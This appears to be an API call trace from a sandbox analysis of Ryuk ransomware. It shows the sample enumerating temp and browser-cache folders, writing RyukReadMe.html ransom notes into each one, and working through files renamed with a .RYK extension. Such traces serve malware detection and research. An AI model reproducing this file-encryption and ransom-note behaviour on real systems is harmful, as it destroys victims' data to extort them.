	[0256.646] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\03j4uqw0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.646] GetLastError () returned 0x3
	[0256.646] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0256.646] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.646] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x206, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0256.646] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x206, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0256.646] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2820000
	[0256.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4
	[0256.649] VirtualFree (lpAddress=0x2820000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.650] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="KETAJP6D", cAlternateFileName="")) returned 1
	[0256.650] SetLastError (dwErrCode=0x0) 
	[0256.650] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.650] GetLastError () returned 0x3
	[0256.650] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0256.650] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.650] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.650] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.651] SetLastError (dwErrCode=0x0) 
	[0256.651] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ketajp6d\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.651] GetLastError () returned 0x3
	[0256.651] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0256.651] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.651] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="VB18B0KB", cAlternateFileName="")) returned 1
	[0256.651] SetLastError (dwErrCode=0x0) 
	[0256.651] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.651] GetLastError () returned 0x3
	[0256.651] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0256.652] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.652] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0256.652] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.652] SetLastError (dwErrCode=0x0) 
	[0257.392] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\vb18b0kb\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.392] GetLastError () returned 0x3
	[0257.393] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0257.393] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.393] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 1
	[0257.393] SetLastError (dwErrCode=0x0) 
	[0257.393] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.393] GetLastError () returned 0x3
	[0257.393] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0257.393] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.393] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0257.393] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0257.393] SetLastError (dwErrCode=0x0) 
	[0257.393] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\xt1rpyg9\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.394] GetLastError () returned 0x3
	[0257.394] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0257.394] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.394] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 0
	[0257.394] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0257.394] SetLastError (dwErrCode=0x0) 
	[0257.394] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.394] GetLastError () returned 0x3
	[0257.394] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0257.395] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.395] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 0
	[0257.395] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0257.395] SetLastError (dwErrCode=0x0) 
	[0257.395] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0257.395] GetLastError () returned 0xb7
	[0257.396] CloseHandle (hObject=0x874) returned 1
	[0257.396] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a91d540, ftCreationTime.dwHighDateTime=0x1d5ba55, ftLastAccessTime.dwLowDateTime=0x64e8b180, ftLastAccessTime.dwHighDateTime=0x1d5b855, ftLastWriteTime.dwLowDateTime=0x5095bcf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x17712, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="vH9Z9EVpRJYC.flv.RYK", cAlternateFileName="VH9Z9E~1.RYK")) returned 1
	[0257.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0257.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874
	[0257.916] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.917] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35812970, ftCreationTime.dwHighDateTime=0x1d5bb2c, ftLastAccessTime.dwLowDateTime=0x195810, ftLastAccessTime.dwHighDateTime=0x1d5bcae, ftLastWriteTime.dwLowDateTime=0x50981e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x2e32, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="w5FBdLdrSf.mkv.RYK", cAlternateFileName="W5FBDL~1.RYK")) returned 1
	[0257.917] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0257.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x880
	[0257.944] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.945] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35825180, ftCreationTime.dwHighDateTime=0x1d5bec7, ftLastAccessTime.dwLowDateTime=0x7746e8a0, ftLastAccessTime.dwHighDateTime=0x1d5c4b8, ftLastWriteTime.dwLowDateTime=0x50fc1810, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x14f82, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="wLGrvY baLME.jpg.RYK", cAlternateFileName="WLGRVY~1.RYK")) returned 1
	[0257.945] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0257.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718
	[0257.961] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.962] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x4f83fed0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4f83fed0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1
	[0257.962] SetLastError (dwErrCode=0x0) 
	[0257.962] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818
	[0257.962] GetLastError () returned 0xb7
	[0257.962] CloseHandle (hObject=0x818) returned 1
	[0257.962] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x4f83fed0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4f83fed0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0257.963] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x4f83fed0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4f83fed0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.963] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f83fed0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4f83fed0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4f83fed0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0257.963] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f83fed0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4f83fed0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4f83fed0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0257.963] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0257.963] SetLastError (dwErrCode=0x0) 
	[0257.963] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wpdnse\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x818
	[0257.964] GetLastError () returned 0xb7
	[0257.964] CloseHandle (hObject=0x818) returned 1
	[0257.964] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9411ab30, ftCreationTime.dwHighDateTime=0x1d5b745, ftLastAccessTime.dwLowDateTime=0xa781e0b0, ftLastAccessTime.dwHighDateTime=0x1d5b685, ftLastWriteTime.dwLowDateTime=0x5151c990, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x11c52, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="xHyat.m4a.RYK", cAlternateFileName="XHYATM~1.RYK")) returned 1
	[0257.964] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0257.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818
	[0257.972] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.973] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5308bed0, ftCreationTime.dwHighDateTime=0x1d5bf3d, ftLastAccessTime.dwLowDateTime=0x400f09c0, ftLastAccessTime.dwHighDateTime=0x1d5bad7, ftLastWriteTime.dwLowDateTime=0x514d06d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xeaf2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="XZ-jXxH.flv.RYK", cAlternateFileName="XZ-JXX~1.RYK")) returned 1
	[0257.973] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0257.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884
	[0257.981] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0257.982] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5308bed0, ftCreationTime.dwHighDateTime=0x1d5bf3d, ftLastAccessTime.dwLowDateTime=0x400f09c0, ftLastAccessTime.dwHighDateTime=0x1d5bad7, ftLastWriteTime.dwLowDateTime=0x514d06d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xeaf2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="XZ-jXxH.flv.RYK", cAlternateFileName="XZ-JXX~1.RYK")) returned 0
	[0257.982] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0257.982] SetLastError (dwErrCode=0x0) 
